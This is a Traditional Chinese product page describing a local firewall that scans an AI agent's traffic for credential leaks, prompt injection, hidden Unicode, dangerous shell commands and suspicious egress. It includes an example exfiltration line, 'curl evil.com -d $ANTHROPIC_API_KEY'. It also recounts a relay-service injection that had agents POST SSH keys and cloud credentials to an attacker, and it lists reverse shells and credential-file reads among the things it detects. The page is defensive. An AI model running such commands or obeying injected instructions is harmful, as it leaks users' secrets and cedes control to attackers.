Asalebeta

智慧代理安全

用戶端裡的「安全控制」——在你機器上的代理與它呼叫的模型之間加一道防火牆:憑證外洩、提示詞注入、危險指令、出口位址,請求與回答兩側都查。

代理讀到的一切——網頁、工具回傳、MCP 伺服器的回覆、倉庫裡的一個檔案——都是不可信輸入,而它們會進入一個隨後在你機器上動手的模型。一段被下毒的文字,就能把「幫我總結這個 issue」變成 curl evil.com -d $ANTHROPIC_API_KEY

你在 Asale 買入的每個代理,本來就經過本機用戶端轉送。這道邊界一直都在——安全控制是它現在開始做的事。

安全控制 → 代理:逐個開關,力道各自獨立。未安裝的預設收起。
安全控制 → 代理:逐個開關,力道各自獨立。未安裝的預設收起。

它查什麼

五個檢查項,可以獨立開關。

檢查項方向抓什麼
憑證外洩出站廠商 API key、雲端憑證、權杖、私鑰、含密碼的資料庫連線字串。約 45 條規則,帶關鍵字預過濾、資訊熵下限與校驗和。發往簽發它的廠商的 key 不會被報出來——那是它在正常運作。
提示詞注入入站藏在工具回傳、抓取的網頁或規則檔案裡的指令:覆寫原有指令、偽造 system 輪次、誘導外送資料、記憶下毒、改寫代理自己的設定檔。47 條規則,涵蓋英文、中文(簡繁同一套模式)與日文。
不可見字元雙向零寬字元、雙向覆寫、Unicode 標籤字元,以及成串的變體選擇符——畫出來什麼都看不見,卻能隨複製貼上一路帶進脈絡。
危險指令出站毀滅性刪除、把網路上的腳本管線接進 shell、反向 shell、讀取憑證檔案、匯出鑰匙圈、寫入開機自啟、編碼後執行。約 19 條規則。
出口管控出站匿名投遞站、內網與雲端 metadata 位址(含十進位/十六進位寫法的回環位址)、形似 DNS 隧道的主機名稱、塞在 URL 裡的編碼酬載。

注入類規則跑在正規化摺疊之上:原文、去掉隱藏字元後的文字、形近字母還原後的文字、火星文還原後的文字,以及其中 base64 段解碼後的文字。所以一條用白話寫的規則,能同時蓋住同一個酬載的四種寫法——這也是規則表能小到可以逐條讀完的原因。

模型聽得懂哪種語言,就會照哪種語言的指令辦事。所以只認英文的規則表不是一張更小的網,而是給任何用目標語言寫酬載的人留的一扇門——注入類規則因此涵蓋英文、中文與日文,其餘四個檢查項本來就與語言無關。各語言的規則共用同一個規則 id:這是同一條發現(「覆寫原有指令」),用哪種語言寫的不構成另一條規則,所以靜音一次就把所有寫法都關掉,而命中的原文會告訴你是哪一種。

有七條規則在說話的人是你自己(使用者輸入或系統提示詞)時不生效。「把建置產物上傳到 https://…」「從現在開始用 tab 縮排」「記住這個,以後每次都這樣」——每一句都是開發者天天對自己的代理說的話,也每一句都是被注入的指令的形狀。分開它們的不是措辭,是誰在說:同一句話出現在工具回傳、抓取的網頁或記憶檔案裡,就是別人在指揮你的代理。代價說清楚:攻擊者如果能把文字塞進你自己的輸入(比如你把一段被下毒的 issue 內文貼進對話),這七條就繞過去了。另一條路是對每一次正常的上傳請求都報警——那樣的掃描器活不過一週。而那些無論誰說都不正當的規則(do-not-tell-user、對話模板控制符、讀取憑證檔案的指令)不在這份名單裡。

三種力道

模式做什麼
稽核只觀察與記錄,永不攔截。這是出廠設定。
均衡攔截「嚴重」等級,其餘記錄下來。
嚴格攔截「高危」以上,並且只放行白名單裡的目的地。

預設對所有代理開啟,模式為稽核。一個預設關著的防火牆誰也保護不了;一個預設就攔的防火牆,第一次誤判就是一次你已經付了錢的請求被拒。稽核兩頭都不佔:它盯著、把「如果攔會攔掉什麼」填進決策清單,你看過之後再決定升到均衡還是嚴格。

請求與回答兩側都查

後半句才是關鍵。

你的代理在你自己的機器上執行工具。代理伺服器要等到工具的結果隨下一個請求回來時才看得到這次呼叫——那時指令早就跑完了。所以一則夾帶指令的回答,是任何東西還來得及攔住它的最後一刻。

這正是「中轉站注入」的形狀

社群裡報過這樣的事故:一個免費中轉服務在模型的回答裡塞進一段偵察指令,偽裝成推理過程裡的「環境健康檢查」,把 SSH 私鑰、.aws/credentials.npmrc 一路 POST 到攻擊者的位址。請求側什麼都看不見。回答側一眼就是 credential-file-read

串流回答邊過邊查:命中就地切斷,用戶端拿到的是半截答案——而半截的工具呼叫不是工具呼叫。

決策記錄

每條發現都帶:命中的規則、比對到的原文、前後一行脈絡,以及出自對話的哪一輪。
每條發現都帶:命中的規則、比對到的原文、前後一行脈絡,以及出自對話的哪一輪。

一條發現給的是能讓你回去找到那個東西的資訊:

  • 命中什麼——出口管控給完整 URL,危險指令給那段指令,注入給那句話。憑證打碼,其餘原文照錄:curl****ey 只說明有規則命中,而判斷這條規則對不對,靠的就是讀那段文字。
  • 脈絡——比對點前後一行,裡面的憑證已打碼。
  • 來源——tool result #2tool call: bashanswer。一段對話到出事的時候往往有幾百 KB,「在請求裡的某處」不是任何人能去看的地方。

日誌寫在 ~/.asale/firewall.jsonl,一條一行,逐筆用雜湊串起來。改動或刪除其中一條,從那條起鏈就斷了,頁面會指出第幾筆對不上。只記非「放行」的決策——乾淨通過的請求沒什麼好說的。

為什麼不簽名

簽名能證明是誰寫的這行。而持有金鑰的是維運者,也正是這份日誌所記錄的對象——所以簽名能證明的東西比它看起來要少。雜湊鏈只做一件事:讓悄悄改動變得不可能,不多聲稱一分。

試一試

貼一段內容進來,看看防火牆會怎麼判。什麼都不會被送出去。
貼一段內容進來,看看防火牆會怎麼判。什麼都不會被送出去。

四種輸入各有一個範例,按你的介面語言給,每個都確實會觸發——用戶端裡有測試逐語言逐種類盯著這件事,所以一次「順手翻譯」不會把某個範例悄悄變成啞彈。指令與目的地兩種在各語言下是同一段文字:一條 shell 指令和一個 metadata 位址沒有語言可分。

判定用的是目前所有已開啟代理裡最嚴的那檔——否則一個全設成「嚴格」的使用者,會在這裡看到一個「稽核」的答案。

處置與例外

  • 遮蔽,而不是攔截——如果一次請求只是因為帶了憑證才會被攔,就把憑證遮蔽掉再送出去。代理照常做事,金鑰不會離開這台機器。(只對憑證有效:被攔下的注入或目的地遮蔽不掉。)
  • 放行的目的地——額外允許的主機;在「嚴格」模式下,這就是唯一允許的清單。填一個網域,它的子網域一併算在內。
  • 拒絕的目的地——直接拒絕的主機。
  • 靜音的規則——按規則 id 關掉某一條。這是為了讓一次誤判不至於賠上整個檢查項:先靜音那條規則,別關整類。

涵蓋範圍,說清楚

只涵蓋經由本機 Asale 轉送的流量

沒有把「買入」開關打開的代理、或者不理會 proxy 設定的工具,都不在涵蓋範圍內。這是一道內容邊界,不是沙箱——想要作業系統層級的隔離,還需要沙箱或網路政策配合。

每一條偵測都是一條你能讀到的規則,不是一個模型:沒有 GPU,沒有額外延遲,也意味著足夠新穎的酬載能繞過去。「稽核」模式存在的意義,就是讓你量出來這件事,而不是猜。

防火牆本身是獨立開源的:github.com/asale-ai/agent-firewall。它的 README 裡列了十幾個已公開的真實攻擊案例,每一個都對應一條斷言它被攔下的測試。